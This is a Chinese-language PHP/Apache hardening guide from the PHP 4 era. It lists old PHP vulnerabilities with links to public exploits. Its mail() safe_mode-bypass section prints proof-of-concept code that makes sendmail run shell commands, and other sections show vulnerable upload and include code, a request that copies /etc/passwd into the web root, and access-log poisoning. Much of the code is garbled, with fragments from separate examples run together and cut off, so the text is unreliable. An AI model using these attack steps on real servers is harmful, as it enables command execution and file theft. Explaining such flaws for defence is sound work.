PHP安全配置 

一、Web服务器安全 

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的: 

[mail function] 
; For Win32 only. 
SMTP = localhost 

; For Win32 only. 
sendmail_from = me@localhost.com 

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。 

二、PHP本身问题 

1、远程溢出 

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高: 

http://packetstormsecurity.org/0204-exploits/7350fun 
http://hsj.shadowpenguin.org/misc/php3018_exp.txt 

2、远程拒绝服务 

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。 

3、safe_mode绕过漏洞 

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php: 

<"foo@bar,"foo","bar","",$bar); "/tmp/script123"; 
$cf="/tmp/cf123"; 

$fd = fopen($cf, "w"); 
fwrite($fd, "OQ/tmp 
Sparse=0 
R$*" . chr(9) . "$#local $@ $1 $: $1 
Mlocal, P=/bin/sh, A=sh $script"); 
fclose($fd); 

$fd = fopen($script, "w"); 
fwrite($fd, "rm -f $script $cf; "); 
fwrite($fd, $cmd); 
fclose($fd); 

mail("nobody", "", "", "", "-C$cf"); 
"index.html")"EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击: 

<"hello") 
$auth = 1; 

if ($auth == 1) 
echo "some important information"; 
else 
echo "nothing"; 
"$filename"))) { 
echo("Could not open file: $filename<BR>\n"); 
exit; 

else { 
echo $str; 

"$filename"); 
"ls /etc")"$lib/config.php"); 
"none") { 
copy($file, "/usr/local/apache/htdocs/upload/".$file_name); 
echo "文件".$file_name."上传成功!点击<a href=\"$PHP_SELF\">继续上传</a>"; 
exit; 

"Content-Type" content="text/html; charset=gb2312"> 
</head> 
<body bgcolor="#FFFFFF"> 
<form enctype="multipart/form-data" method="post"> 
上传文件: 
<input type="file" name="file" size="30"> 
<input type="submit" name="upload" value="上传"> 
</form> 
</body> 
</html> 

这样的上传代码存在读取任意文件和执行命令的重大问题。 
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test(注意:这个目录必须nobody可写)下的attack.txt文件里: 

http://victim/test_5.php"traceroute $a_query",$ret_strs); 
"open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜线结束路径名。例如:"open_basedir = /dir/incl/"。 
可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。 

四、其它安全配置 

1、取消其它用户对常用、重要系统命令的读写执行权限 

一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。 
如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作, 

2、去掉apache日志其它用户的读权限 

apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向access-log就可以执行那些PHP代码,从而获得本地访问权限。 
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。 

当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。

广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!